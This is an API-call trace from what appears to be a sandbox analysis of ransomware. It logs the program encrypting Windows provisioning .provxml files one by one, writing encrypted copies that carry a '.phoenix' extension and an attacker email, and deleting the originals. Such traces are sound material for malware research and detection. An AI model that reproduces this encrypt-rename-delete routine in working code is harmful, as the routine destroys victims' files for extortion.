	[0258.686] CryptDestroyKey (hKey=0x151340) returned 1
	[0258.686] CloseHandle (hObject=0x244) returned 1
	[0258.686] CloseHandle (hObject=0x250) returned 1
	[0258.686] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0258.687] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.688] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=709) returned 1
	[0258.688] CloseHandle (hObject=0x250) returned 1
	[0258.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.688] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.688] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.689] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0258.689] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.689] ReadFile (in: hFile=0x250, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c5, lpOverlapped=0x0) returned 1
	[0258.724] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0258.724] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.725] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151340) returned 1
	[0258.725] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.725] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.725] CryptDestroyKey (hKey=0x151340) returned 1
	[0258.725] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.725] CryptDestroyKey (hKey=0x151300) returned 1
	[0258.725] CloseHandle (hObject=0x250) returned 1
	[0258.725] CloseHandle (hObject=0x244) returned 1
	[0258.725] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.727] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.727] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.728] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=467) returned 1
	[0258.728] CloseHandle (hObject=0x244) returned 1
	[0258.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0258.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.728] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.728] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.729] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.729] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.730] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0258.730] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.730] ReadFile (in: hFile=0x244, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d3, lpOverlapped=0x0) returned 1
	[0258.731] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0258.731] WriteFile (in: hFile=0x250, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0258.732] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0258.732] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.732] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.732] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.732] WriteFile (in: hFile=0x250, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.733] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0258.733] CloseHandle (hObject=0x244) returned 1
	[0258.733] CloseHandle (hObject=0x250) returned 1
	[0258.733] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0258.734] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.734] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.735] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=456) returned 1
	[0258.735] CloseHandle (hObject=0x250) returned 1
	[0258.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml")) returned 0x20
	[0258.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.735] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.735] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.735] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.735] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.736] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0258.736] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.736] ReadFile (in: hFile=0x250, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c8, lpOverlapped=0x0) returned 1
	[0258.751] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0258.751] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0258.752] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0258.752] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.752] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0258.752] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.752] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0258.752] CryptDestroyKey (hKey=0x151300) returned 1
	[0258.752] CloseHandle (hObject=0x250) returned 1
	[0258.752] CloseHandle (hObject=0x244) returned 1
	[0258.752] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml")) returned 1
	[0258.754] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.758] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=730) returned 1
	[0258.758] CloseHandle (hObject=0x2d0) returned 1
	[0258.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.759] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.759] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.759] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.759] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.389] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0259.389] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.389] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2da, lpOverlapped=0x0) returned 1
	[0259.391] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0259.391] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0259.392] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0259.392] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0259.392] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0259.392] CryptDestroyKey (hKey=0x151380) returned 1
	[0259.392] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0259.392] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0259.392] CloseHandle (hObject=0x2d0) returned 1
	[0259.392] CloseHandle (hObject=0x2f4) returned 1
	[0259.392] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.393] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0259.393] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0259.394] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=721) returned 1
	[0259.394] CloseHandle (hObject=0x2f4) returned 1
	[0259.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20
